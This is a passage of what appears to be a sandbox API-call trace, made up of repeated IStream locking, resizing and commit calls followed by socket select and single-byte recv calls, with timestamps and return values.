cb=0x0, dwLockType=0x2) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0xd, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0xe, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0xf, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.426] IStream:LockRegion (This=0x2e7fa0, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0057.426] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x19, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x23, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x27, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x28, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x29, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.427] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.427] IStream:LockRegion (This=0x2e7fa0, libOffset=0x30, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x31, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x32, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x33, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x34, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x35, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x36, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x37, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x39, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x40, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x41, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x42, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x43, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x44, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x45, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x46, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x47, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x48, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x49, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.428] IStream:LockRegion (This=0x2e7fa0, libOffset=0x50, cb=0x0, dwLockType=0x0) returned 0x0 [0057.428] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x51, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x52, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x53, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x54, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x55, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x56, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x57, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x58, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x59, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x60, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x61, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x62, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x63, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x64, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x65, cb=0x0, dwLockType=0x0) returned 0x0 [0057.429] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.429] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.429] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.429] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.429] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.429] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.429] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.429] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.429] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.429] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.429] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.429] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.429] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.430] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.430] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.430] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.430] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.431] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.431] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.431] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: 